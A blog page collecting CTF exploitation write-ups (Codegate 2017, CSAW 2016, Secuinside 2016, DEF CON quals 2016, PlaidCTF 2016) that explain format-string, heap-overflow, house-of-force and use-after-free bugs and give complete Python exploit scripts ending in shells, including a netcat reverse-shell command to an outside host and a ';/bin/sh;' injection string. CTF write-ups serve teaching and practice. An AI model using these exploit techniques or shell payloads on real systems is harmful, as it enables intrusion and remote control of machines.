j31d0 Blog

codegate 2017 real writeup(KR)

KR version

오랜만에 코드게이트 대회에 KAIST GoN으로 나갔다. real 한문제를 풀어서 190점으로 4등을 했다!

real문제는 stack offset을 알려주고, 임의의 한 바이트 (어차피 stack밖에 몰라서 stack 중 한바이트)를 알려준다.

그 후에는 15번 printf를 해주는데 첫번째 argument string과 두번째 argument를 모두 지정해줄수 있다!

하지만 안타까운 점은 stack값을 모두 0으로 바꾸는데다가 printf 결과를 보여주지 않고 ( fd 1을 /dev/null로 리다이렉션 ), printf후에 바로 exit(0)을 한다는 점이다.

게다가 pie이고 full relo라서 exit 포인터를 바꿀 수도 없다.

다음이 문제의 대략적인 구조이다.

  printf("Reference Stack Pointer is %p\n", &i);
  ...
  printf("Which Address Do you Want to See? -->");
  scanf("%lld", &v1);
  ...
  printf("The value is %02x\n", *v1);
  for ( int i = 0; i <= 14; ++i )
  {
    printf("[%lld/%d] Input the format string -->", i + 1, 15);
    fgets(&format[128 * i], 127, stdin);
    printf("[%lld/%d] Input the Argument 1 -->", i + 1, 15);
    scanf("%lld", &args[i]);
  }  
  char* j = &stack_variable;
  puts("Erase the Stack");
  fd = open("/dev/urandom", 0);
  while ( read(fd, j, 1) == 1 )
  {
    *j = 0;
    j = j + 1;
  }
  puts("Now, You can not see output");
  ...
  fd = open("/dev/null", 1);
  dup2(fd, 1);
  for ( fd = 0; fd <= 14; ++fd )
    printf(&format[128 * fd], args[fd]);
  close(fd);
  exit(0);
  ...

가장 먼저 시도해야 할 것은 pie leak이다. 스택을 조작해 ROP 등을 하기 위해서는 pie base 값을 알아야 한다.

stack offset을 알기 때문에 format string bug를 통해 printf가 실행되고 자신의 리턴 값을 바꾸어 dup2를 실행하도록 시도했다.

want_to_return_1 = (0x0b98 + pie_crit * 0x100 - 0xc00 + 0x10000) & 0xffff
give_format_string( "%" + ("%d" % want_to_return_1) + "c%1$hn", base_ptr - 8 * 1)
for i in range(14):
    give_format_string("a",1)

printf의 리턴 주소는 어차피 for문 내부 (pie 주위)를 가리키고 있기 때문에, %1$hn을 사용하여 하위 2바이트만 바꿔주어 원하는 pie 주소로 점프 가능하게 했다.

pie_crit은 처음에 1바이트를 알려줄 때 pie의 밑에서 두번째 바이트를 가져왔다. 0xb98은 dup2(fd,1)을 실행하기 전의 offset이다.

이렇게 하면 fd가 0일 때 printf가 실행되고 dup2(0,1)이 실행되어 stdin으로 값이 들어오는 것을 확인할 수 있었다.

그러나, dup2로 한번 점프한 후에도 printf의 인자는 그대로이기 때문에 무한루프에 빠지게 되어 이후를 진행할 수 없었다.

이를 위해 다음과 같은 계획을 세웠다.

1. 첫 printf에서 return value를 조작해 main으로 점프한다. (main을 시작할때 rsp를 0x18 뺌)
2. 그럼 rsp + 0x18에 main위치가 저장되어 있고, 이제 다시 printf를 3번 해서 fd=2로 만든다.
   2-1. printf를 3번 하던 중에 rsp+0x18 (주어진 stack pointer를 통해 stack 주소를 계산할 수 있음) 의 하위 2바이트를 바꿔 dup2(fd,1)로 가게 바꾼다.
   2-2. 마지막 printf에서 rsp를 바꿔서 pop pop pop return의 주소로 바꾼다.
   2-3. 그러면 그 루프에서는 return address가 pop pop pop return의 주소가 되어 dup2(fd,1)이 실행되고 다시 printf 루프가 실행된다.
   2-4. 하지만 두번째 루프에서는 return address + 0x18의 주소가 바뀌기 때문에 무한루프에 빠지지 않는다.
3. 그럼 3번째 printf에서 dup2로 점프하지 않고 15번 printf가 진행되는데, 이때 pie_base leak을 하고 마지막 15번째 printf에서 다시 main으로 돌아간다.

이렇게 해서 pie_base 값을 얻고 다시 처음부터 시작할 수 있게 되었다.

이제 처음에 임의의 위치 1바이트를 알려주는 기능이 있고, 다시 처음으로 돌아올 수 있기 때문에

위의 방법을 반복해서 사용하여 원하는 모든 메모리의 값을 구했다. 익스플로잇 코드의 get_quad에 구현되어 있다.

이제 got_dup2, got_printf, got_read 의 값을 얻어 libc database에 검색해 libc_binsh 스트링의 주소와 libc_system의 주소를 얻고,

마지막으로 printf 15번을 할 때 pop_rdi_return, libc_binsh, libc_system을 순서대로 스택에 넣는다.

printf 한번을 할 때 인자 하나와 string 하나를 줄 수 있기 때문에 printf(“%1234c%1$hn”, address) 로 임의의 2바이트를 원하는 위치에 쓸 수 있다.

따라서 위의 rop gadget을 만들 때 4 * 3 = 12번의 printf를 수행하고

13번째 printf에서 자신의 리턴 주소를 retn;이 있는 주소로 바꿔 rop를 트리거하였다.

system(“/bin/sh”)가 실행된 후에도 fd 1이 /dev/null에 매핑되있으므로 들어가서 “sh 1<&2”를 한번 실행해준다.

다음은 exploit 코드이다. ( 매우 길고 문제 서버에 대해서만 동작하기 때문에 참고용으로만 써주시길.. )

#!/usr/bin/python

import pwnbox
import struct
import sys

#p = pwnbox.pipe.ProcessPipe('./real')
p = pwnbox.pipe.SocketPipe('200.200.200.106', 44444)

def get_stack_pointer():
    p.read_until('Stack Pointer is ')
    ans = int(p.read_until('\n'), 16)
    return ans

def get_pie_crit(x):
    p.read_until('-->')
    p.write('%d\n' % x)
    p.read_until('The value is ')
    ans = int(p.read_until('\n'), 16)
    return ans

def give_format_string(st, n):
    p.read_until('Input the format string -->')
    p.write(st+'\n')
    p.read_until(' -->')
    p.write("%d\n" % n)

base_ptr = get_stack_pointer()
pie_crit = get_pie_crit(base_ptr - 0x7fffffffe590 + 0x7fffffffe589)
want_to_return_1 = (0x0b98 + pie_crit * 0x100 - 0xc00 + 0x10000) & 0xffff
give_format_string( "%" + ("%d" % want_to_return_1) + "c%1$hn", base_ptr - 8 * 1)
for i in range(14):
    give_format_string("a",1)

want_to_return_main = (0x0b9c + pie_crit * 0x100 - 0xc00 + 0x10000) & 0xffff
want_to_return_3 = (0x0d8c + pie_crit * 0x100 - 0xc00 + 0x10000) & 0xffff
p.write("%d\n" % (base_ptr - 0x7fffffffe590 + 0x7fffffffe589))
p.write("%" + ("%d" % want_to_return_3) + "c%1$hn\n")
p.write("%d\n" % (base_ptr - 8 * 1))
p.write("%" + ("%d" % want_to_return_main) + "c%1$hn\n")
p.write("%d\n" % (base_ptr - 8 * 4 ))
for i in range(13):
    p.write("a\n")
    p.write("1\n")

p.write("%d\n" % (base_ptr - 0x7fffffffe590 + 0x7fffffffe589))
want_to_return_2 = (0x0EA0 + pie_crit * 0x100 - 0xc00 + 0x10000) & 0xffff
p.write("%" + ("%d" % want_to_return_2) + "c%1$hn\n")
p.write("%d\n" % (base_ptr - 8 * 4 ))
p.write("PIEGET\n")
p.write("0\n")
p.write("%s\n")
p.write("%d\n" % (base_ptr - 8))
for i in range(11):
    p.write("a\n")
    p.write("1\n")
p.write("%" + ("%d" % want_to_return_main) + "c%1$hn\n")
p.write("%d\n" % (base_ptr - 8 * 1))

p.read_until("PIEGET\n")
pie_base = struct.unpack("<Q",p.read_byte(6).ljust(8,'\x00'))[0] - 0xe0a

pie_main = pie_base + 0xb98
p.read_until("-->")
#print "%x" % pie_base

def leak(x):
    p.write("%d\n" % x)
    p.read_until('The value is ')
    ans = int(p.read_until('\n'), 16)

    want_to_return_1 = (0x0b98 + pie_crit * 0x100 - 0xc00 + 0x10000) & 0xffff
    give_format_string( "%" + ("%d" % want_to_return_1) + "c%1$hn", base_ptr - 8 * 1)
    for i in range(14):
        give_format_string("a",1)

    want_to_return_main = (0x0b9c + pie_crit * 0x100 - 0xc00 + 0x10000) & 0xffff
    want_to_return_3 = (0x0d8c + pie_crit * 0x100 - 0xc00 + 0x10000) & 0xffff
    p.write("%d\n" % (base_ptr - 0x7fffffffe590 + 0x7fffffffe589))
    p.write("%" + ("%d" % want_to_return_3) + "c%1$hn\n")
    p.write("%d\n" % (base_ptr - 8 * 1))
    p.write("%" + ("%d" % want_to_return_main) + "c%1$hn\n")
    p.write("%d\n" % (base_ptr - 8 * 4 ))
    for i in range(13):
        p.write("a\n")
        p.write("1\n")

    p.write("%d\n" % (base_ptr - 0x7fffffffe590 + 0x7fffffffe589))
    want_to_return_2 = (0x0EA0 + pie_crit * 0x100 - 0xc00 + 0x10000) & 0xffff
    p.write("%" + ("%d" % want_to_return_2) + "c%1$hn\n")
    p.write("%d\n" % (base_ptr - 8 * 4 ))
    p.write("PIEGET\n")
    p.write("0\n")
    p.write("%s\n")
    p.write("%d\n" % (base_ptr - 8))
    for i in range(11):
        p.write("a\n")
        p.write("1\n")
    p.write("%" + ("%d" % want_to_return_main) + "c%1$hn\n")
    p.write("%d\n" % (base_ptr - 8 * 1))

    p.read_until("PIEGET\n")
    pie_base = struct.unpack("<Q",p.read_byte(6).ljust(8,'\x00'))[0] - 0xe0a
    p.read_until("-->")
    return ans

def get_quad(x):
    s = ''
    for i in range(8):
        s = s + chr(leak(x+i))
    return struct.unpack("<Q",s)[0]
got_dup2 = pie_base + 0x201f90
#got_printf = pie_base + 0x201f98
#got_read = pie_base + 0x201fa8

libc_dup2 =  get_quad(got_dup2)

libc_base = libc_dup2 - 0xf6d90
libc_system = libc_base + 0x45390
libc_binsh = libc_base + 0x18c177
#libc_printf = get_quad(got_printf)
#libc_read = get_quad(got_read)

print "%x %x %x" % (libc_dup2, libc_system, libc_binsh)

p.write("%d\n" % libc_base)
poprdiret = pie_base + 0xea3

def write_quad(x,pt):
    give_format_string( "%" + ("%d" % (x & 0xffff)) + "c%1$hn", pt)
    give_format_string( "%" + ("%d" % ((x & 0xffff0000) >> 16)) + "c%1$hn", pt+2)
    give_format_string( "%" + ("%d" % ((x & 0xffff00000000) >> 32)) + "c%1$hn", pt+4)
    if(((x & 0xffff000000000000) >> 48) != 0):
        give_format_string( "%" + ("%d" % ((x & 0xffff000000000000) >> 48)) + "c%1$hn", pt+6)
    else:
        give_format_string("%1$hn", pt+6)
    return 4

write_quad(poprdiret, base_ptr)
write_quad(libc_binsh, base_ptr + 8)
write_quad(libc_system, base_ptr + 16)

give_format_string( "%" + ("%d" % ((pie_base + 0xEA4) & 0xffff)) + "c%1$hn", base_ptr - 8 )

for i in range(2):
    give_format_string("a",1)

p.write("sh 1<&2\n")
p.interact()

csaw ctf 2016 hungman writeup

problem binary serves simple hangman service.

$ ./hungman
What's your name?
HELLO
Welcome HELLO
_____
q
_q___
d
_q___
s
_q___
a
Default Highscore  score: 64
Continue? n
$

it has vulnerability at saving name of high-score.

...
    if ( str_name->score > highScore )
    {
      puts("High score! change name?");
      __isoc99_scanf(" %c", &v3);
      if ( v3 == 'y' )
      {
        s = malloc(0xF8uLL);
        memset(s, 0, 0xF8uLL);
        v8 = read(0, s, 0xF8uLL);
        str_name->len = v8;
        v14 = strchr((const char *)s, '\n');
        if ( v14 )
          *v14 = 0;
        memcpy(str_name->buf, s, v8);
        free(s);
      }
      snprintf(highScoreName, 0x200uLL, "Highest player: %s", str_name->buf);
      highScore = str_name->score;
    }
    memset(&str_name->field_10, 0, 0x1AuLL);
    free(buf);
  }
}

It is easy to know that if str_name->buf was malloc with less then 0xF8, heap overflow occured.

So we need to analyze when str_name initiallized.

str *get_name()
{
  char *v0; // ST10_8@3
  str *str_name; // ST18_8@3
  str *result; // rax@3
  __int64 v3; // rbx@3
  int v4; // [rsp+Ch] [rbp-124h]@1
  char *v5; // [rsp+10h] [rbp-120h]@1
  char s; // [rsp+20h] [rbp-110h]@1
  __int64 v7; // [rsp+118h] [rbp-18h]@1

  v7 = *MK_FP(__FS__, 40LL);
  write(1, "What's your name?\n", 0x12uLL);
  memset(&s, 0, 0xF8uLL);
  v4 = read(0, &s, 0xF7uLL);
  v5 = strchr(&s, '\n');
  if ( v5 )
    *v5 = 0;
  v0 = (char *)malloc(v4);
  str_name = (str *)malloc(0x80uLL);
  memset(str_name, 0, 0x80uLL);
  str_name->buf = v0;
  str_name->len = v4;
  memcpy(str_name->buf, &s, v4);
  result = str_name;
  v3 = *MK_FP(__FS__, 40LL) ^ v7;
  return result;
}

str_name->len is same as length of my name.

if your name is short, chance of getting highscore gets lower ( because hangman string is initialized with your name ) so we have to choose appropriate length of name, I choose 40.

if heap was overflowed, we can easily get offset of libc binary with .got section, and finaly overwrite to system.

#!/usr/bin/python

import pwnbox
import struct
import argparse
import time

#flag{this_looks_like_its_a_well_hungman}

parser = argparse.ArgumentParser(description='hungman exploit')
parser.add_argument("-l", "--local", action="store_true")

args = parser.parse_args()

def get_highscore():
    x = 'a'
    while True:
        d = p.read_until('\n')
        if 'change name?' in d:
            p.write('y\n')
            return
        else:
            p.write('%c\n' % x)
            x = chr((ord(x)+1) % 26 + ord('a'))

got_snprintf = 0x602048
got_trash = 0x602010

if args.local:
    p = pwnbox.pipe.ProcessPipe('./hungman')
    offset_snprintf = 0x544b0
    offset_gets = 0x6F440
    offset_system = 0x46640
    offset_trash = 0x3db4e0

else:
    p = pwnbox.pipe.SocketPipe('pwn.chal.csaw.io',8003)
    offset_snprintf = 0x55860
    offset_gets = 0x6ECC0
    offset_system = 0x45380
    offset_trash = 0x3e0c80

p.read_until('name?\n')
p.write('A'* (16 * 3 - 8)  + '\n')
p.read_until('\n')
get_highscore()

dummy = "".ljust(0x4C - 8, "A")
payload = ''
payload += struct.pack("<I", 4)
payload += struct.pack("<Q", got_trash)
p.write(dummy + payload)

p.read_until('Highest player: ')

libc_trash = struct.unpack("<Q",p.read_until('score: ')[:6].ljust(8,'\x00'))[0]

libc_base = libc_trash - offset_trash
libc_gets = libc_base + offset_gets
libc_system = libc_base + offset_system

print "%x" % libc_base

p.read_until('Continue? ')
p.write('y')

get_highscore()

payload = ""
payload += "/bin/sh\x00"
payload += struct.pack("<Q",libc_system)
p.write(payload)
#p.write('y\n')

#get_highscore()
#p.write(struct.pack("<Q",libc_system))

p.interact()

secuinside 2016 manager writeup (incomplete)

KR version

이번에는 끝까지 풀지를 못해서 ㅠㅠ flag를 얻지는 못했다. manager 문제는 allocation simulator 역할을 하는 바이너리가 주어져있고, 힙을 조작해서 취약점을 만드는 문제이다.

분석을 해 보면, while문을 통해 16바이트짜리 쿼리를 계속 보내는 것을 알 수 있다. |cmd len check index| (각 4바이트) 형태로 되어있고,

check = 15

cmd = 0~5 (0 : init, 1 : write, 2 : malloc, 3 : realloc, 4 : print, 5 : free)

index = 0 ~ 9

취약점은 크게 두가지가 있다.

  1. malloc에서 길이를 구조체에 저장하는데, 실제 malloc된 크기는 4096이 아니면서 구조체에 4096을 저장할 수 있다. (buffer overwrite가능)

  2. realloc에서 음수 크기가 가능하다.

두 취약점을 조합해 House-of-force 기법을 쓸 수 있다. 하지만 릭이 없어서 어디에 write를 할 지 모르는데, House-of-force는 offset을 기반으로 움직이기 때문에 힙의 앞부분으로도 덮어쓸 수 있다. 이것을 이용하여 처음의 40byte 구조체를 덮어쓰면, malloc할 때의 주소를 읽을 수 있고, heap_base를 찾을 수 있다.

heap_base와 binary base가 0x???000 정도 차이나는 것을 이용(차이는 컴퓨터마다 일정) 하여 \x7fELF가 나오는 부분을 찾아 binary base를 계산한다.

이후 free의 pointer를 system으로 바꾸고, 힙에 “nc myserver 10291 | /bin/sh | nc myserver 10292” 처럼 reverse shell을 만든 후 free를 해주면 완성!

import pwnbox
import struct

#p = pwnbox.pipe.SocketPipe('chal.cykor.kr',22222)
p = pwnbox.pipe.SocketPipe('127.0.0.1',22222)


def query(command,length,selector):
    p.write(struct.pack("<IIII",command,length,15,selector))

def init_cell(num):
    query(0,0,num)

def set_cell_len(num,len_):
    query(2,len_,num)

def write_cell(num,data):
    query(1,0,num)
    p.write(data)

def read_cell(num):
    query(4,0,0)
    p.write(struct.pack("<I",num))

def free_cell(num):
    query(5,0,0)
    p.write(struct.pack("<I",num))

def realloc_cell(num,len_,data):
    query(3,0,0)
    p.write(struct.pack("<II",len_,num))
    p.write(data)

def fail():
    p.write("\x00"*16)

def a_read_byte(addr):
    spayload = ""
    spayload += struct.pack("<q",-1)
    spayload += struct.pack("<i",-1) # len
    spayload += struct.pack("<i",-1)
    spayload += struct.pack("<q",addr) # buf
    spayload += struct.pack("<i",-1) # cmd
    spayload += struct.pack("<i",-1) # chk
    spayload += struct.pack("<i",1) # buf_set
    spayload += struct.pack("<i",-1)
    realloc_cell(0,0x100,"\xff"*0x10 + spayload.ljust(0xf0,'\x00'))
    read_cell(3)
    p.read_until('3=> ')
    retVal = p.read_byte(1)
    if retVal == '\n' and p.read_byte(1) == '\n':
        retVal = '\x00'
    return retVal

def a_write(addr,data):
    spayload = ""
    spayload += struct.pack("<q",-1)
    spayload += struct.pack("<i",len(data)) # len
    spayload += struct.pack("<i",-1)
    spayload += struct.pack("<q",addr) # buf
    spayload += struct.pack("<i",-1) # cmd
    spayload += struct.pack("<i",-1) # chk
    spayload += struct.pack("<i",1) # buf_set
    spayload += struct.pack("<i",-1)
    realloc_cell(0,0x100,"\xff"*0x10 + spayload.ljust(0xf0,'\x00'))
    realloc_cell(3,len(data),data)


def a_read(addr,len_):
    x = ""
    for i in range(len_):
        x = x + a_read_byte(addr+i)
    return x

p.read_until('alloc manager!')

init_cell(0)
init_cell(3)
init_cell(5)
init_cell(6)
init_cell(7)
set_cell_len(5,0x180)

set_cell_len(5,4097)

write_cell(5,('A'*0x188+struct.pack("<Q",0xffffffffffffffff)).ljust(0x1000))

realloc_cell(3,4294966528,"a") # -768

#p.interact()

realloc_cell(0,0x100,"\xff"*0x20)
#write_cell(0,"\xff"*0x10+spayload.ljust(0xf0,'\x00'))

read_cell(0)
p.read_until('0=> ')
x = p.read_byte(0x20+8)

heap_base = struct.unpack('<Q',x[0x20:])[0] & 0x0000fffffffff000

print "Heap base : %x" % heap_base

bin_base = heap_base - 0x1d0b000 # in local machine

got_malloc = bin_base + 0x2040E8
got_free = bin_base + 0x204018

libc_malloc = struct.unpack("<Q",a_read(got_malloc,8))[0]

print "%x" % libc_malloc
# libc (in local machine)
libc_base = libc_malloc - 0x82750
libc_system = libc_base + 0x46640
print "%x" % libc_base
a_write(got_free, struct.pack("<Q",libc_system))

print "%x" % struct.unpack("<Q",a_read(got_free,8))[0]

a_write(heap_base+0x1000,"nc myserver 10291 | /bin/sh | nc myserver 10292\x00")


free_cell(3)


p.interact()

안타까운 점은 문제서버 libc의 malloc과 다르기 때문인지 offset이 안맞아서 서버 익스는 못했다…

defcon qual 2016 kiss writeup

This problem is simple assembly challenge.

void mamama()
{
  int v0; // ebx@1
  __int64 v1; // rdi@1
  unsigned __int64 v2; // rbx@1
  unsigned __int64 v3; // rax@1
  void *v4; // rbp@2
  unsigned __int64 v5; // rax@2
  unsigned __int64 buf; // [sp+8h] [bp-20h]@1

  write(1, "KISS - Keep It Simple Stupid\n", 0x1DuLL);
  v0 = open("/dev/urandom", 0);
  read(v0, &buf, 8uLL);
  close(v0);
  v1 = buf & 0x7FF;
  buf &= 0x7FFu;
  v2 = (unsigned __int64)malloc(v1) & 0xFFFFFFFFFFFFF000LL;
  write(1, "Buffer is around ", 0x11uLL);
  write_pointer(v2);
  write(1, "\n", 1uLL);
  write(1, "Binary is around ", 0x11uLL);
  write_pointer((unsigned __int64)mamama & 0xFFFFFFFFFFFFF000LL);
  write(1, "\n", 1uLL);
  write(1, "How big of a buffer do you want? ", 0x21uLL);
  v3 = sub_CE0();
  buf = v3;
  if ( v3 <= 0xA00 )
  {
    v4 = malloc(v3);
    write(1, "Waiting for data.\n", 0x12uLL);
    sub_C90(v4, buf);
    write(1, "What location shall we attempt? ", 0x20uLL);
    v5 = sub_CE0();
    buf = v5;
    if ( v2 <= v5 && v5 <= v2 + 0x1E00 )
    {
      write(1, "Good luck!\n", 0xBuLL);
      JUMPOUT(__CS__, ****(_QWORD ****)buf);
    }
    write(1, "Invalid location.\n", 0x12uLL);
    exit(0);
  }
  write(1, "Invalid size\n", 0xDuLL);
  exit(0);
}

I can receive heap pointer and binary base approximately, so it seems easy. but between write and JUMPOUT, there are terrible assembly codes.

.text:0000000000000A3F                 call    _write
.text:0000000000000A44                 mov     rax, [rsp+28h+buf]
.text:0000000000000A49                 xor     rbx, rbx
.text:0000000000000A4C                 xor     rcx, rcx
.......
.text:0000000000000A73                 xor     rsp, rsp
.......
.text:0000000000000ABE                 xorps   xmm14, xmm14
.text:0000000000000AC2                 xorps   xmm15, xmm15
.text:0000000000000AC6                 mov     rbx, [rax]
.text:0000000000000AC9                 mov     rcx, [rbx]
.text:0000000000000ACC                 mov     rdx, [rcx]
.text:0000000000000ACF                 jmp     qword ptr [rdx]

so all registers set to 0 except rax, rbx, rcx, rdx. the critical problem is that WE CAN’T CALL ANY FUNCTIONS, also ret gadget can’t work.

the first thing what i done is find gadget which controls rsp. there was one in libc makecontext function.

.text:00000000000498B0                 mov     rsp, rbx
.text:00000000000498B3                 pop     rdi
.text:00000000000498B4                 test    rdi, rdi
.text:00000000000498B7                 jz      short loc_498C1
.text:00000000000498B9                 call    setcontext
.text:00000000000498BE                 mov     rdi, rax

in addition, we can control full registers by setcontext, so all i did was put context structure in heap and jump to 0x498B0.

but how to find libc offset? In x86-64, difference between pie_base and libc_base is constant for one machine (I guess it happens when randomize_va_space < 2, but I’m not sure) . In my local machine, offset difference was 0x5ea000, so I brute-force the offset between 0x500000 and 0x600000. to sure it was right offset, i used EB FE (infinite loop) gadget. here is my exploit code.

import pwnbox
import struct
import random

debug = True
local = False

if local and debug:
    p = pwnbox.pipe.ProcessPipe('gdb -q ./kiss')
elif local:
    p = pwnbox.pipe.ProcessPipe('./kiss')
else:
    #p = pwnbox.pipe.SocketPipe('kiss_88581d4e20dc97355f1d86b6905f6103.quals.shallweplayaga.me', 3155)\
    p = pwnbox.pipe.SocketPipe('remote.goatskin.xyz',30009)

if local and debug:
    p.read_until('(gdb) ')
    p.write('r\n')

p.read_until('is around')
buf_base = int(p.read_until('\n'),16)
p.read_until('is around')
pie_base = int(p.read_until('\n'),16)

print '%x %x' % (buf_base, pie_base)
if local:
    libc_base = 0x7ffff7a15000
else:
    offset = random.randint(0x500000,0x600000) & 0xfff000
    #libc_base = pie_base - 0x5ea000
    libc_base = pie_base - offset
    print 'libc base : %x' % libc_base

if local and debug:
    m = buf_base + 0x50
else:
    m = (buf_base + random.randint(0,0x800)) & 0xffffffffffffffffffffffffffffff8
rip = pie_base + 0x870

cont = open('sample_context','rb')
cont_data = cont.read()
cont.close()

p.read_until('want?')
contextPayload = '\x00' * 0x200

#contextPayload = struct.pack('<QQ',m+24, libc_base + 0* 0x40FF5 + 1 * 0x498B0) + contextPayload[16:]
# 0xCF974 : setcontext gadget, 0x498B0 : infinite loop gadget(to find offset)
contextPayload = struct.pack('<QQ',m+24, libc_base + 1* 0xCF974 + 0 * 0x498B0) + contextPayload[16:]
contextPayload = contextPayload[0:0xE0] + struct.pack('<Q',m) + contextPayload[0xE8:]

r8 = 1
r9 = 2
r12 = 3
r13 = 4
r14 = 5
r15 = 15
rdi = 6
rsi = 7
rbp = 8
rbx = 9
rdx = 10
rcx = 11
retaddr = 0x12341234
rsp = m

regs = [r8, r9, 0, 0, r12, r13, r14, r15, libc_base + 0x17CCDB, rsi, rbp, rbx, rdx, 0, rcx, rsp, libc_base + 0x46640] # rdi + 0x28 ~ rdi + 0xA0


s = ''
for i in regs:
    s = s + struct.pack("<Q", i)

contextPayload = contextPayload[0:0x28] + s + contextPayload[0xB0:]

payload = struct.pack('<QQ',m+8,m+16) + contextPayload


print contextPayload.encode('hex')
p.write('%x\n' % len(payload))

p.read_until('Waiting for data.')
p.write(payload)

p.read_until('?')

p.write('%x\n' % m)


p.interact()

pctf 2016 unix_time_formatter writeup

this is simple formatter of unix time, and there are vulnerability in exit function.

signed __int64 menu_exit()
{
  signed __int64 result; // rax@1
  __int64 v1; // rcx@3
  char s; // [sp+8h] [bp-20h]@1
  __int64 v3; // [sp+18h] [bp-10h]@1

  v3 = *MK_FP(__FS__, 40LL);
  wrapper_free((void *)qword_602118);
  wrapper_free(value);
  __printf_chk(1LL, "Are you sure you want to exit (y/N)? ");
  fflush(stdout);
  fgets(&s, 16, stdin);
  result = 0LL;
  if ( (s & 0xDF) == 'Y' )
  {
    puts("OK, exiting.");
    result = 1LL;
  }
  v1 = *MK_FP(__FS__, 40LL) ^ v3;
  return result;
}

If I goto exit, and choose “N”, then I can reuse free chunks. so other thing is find values which is given by malloc.

there is a function which set time zone, and it uses strdup. it uses malloc inside. man strdup

and there are print_time function, it calls system with filtered argument “value”. but we can bypass with use-after-free at previous code.

so exploit step is :

  1. write any value to “qword_602118” (this is time format value)
  2. free at exit
  3. overwrite string at set_timezone
  4. call system at print_time

This is my exploit code.

import pwnbox


# PCTF{use_after_free_isnt_so_bad}

local = False

if local:
    p = pwnbox.pipe.ProcessPipe('gdb -q unix_time_formatter_9a0c42cadcb931cce0f9b7a1b4037c6b')
else:
    p = pwnbox.pipe.SocketPipe('unix.pwning.xxx',9999)

payload = '\';/bin/sh;\''

def lobby():
    p.read_until('5) Exit.\n')
    p.read_until('>')


def set_timeFormat(s):
    p.write('1\n')
    p.read_until('mat:')
    p.write(s+'\n')
    lobby()

def set_time(d):
    p.write('2\n')
    p.read_until('time: ')
    p.write('%d\n' % d)
    lobby()

def exit(s):
    p.write('5\n')
    p.read_until(')?')
    p.write(s+'\n')
    lobby()

def set_timeZone(s):
    p.write('3\n')
    p.read_until('zone:')
    p.write(s+'\n')
    lobby()

if local:
    p.read_until('(gdb)')
    p.write('r\n')


lobby()
set_timeFormat('a'*len(payload))
set_time(1)
exit('N')
set_timeZone(payload)
p.write('4\n')
p.interact()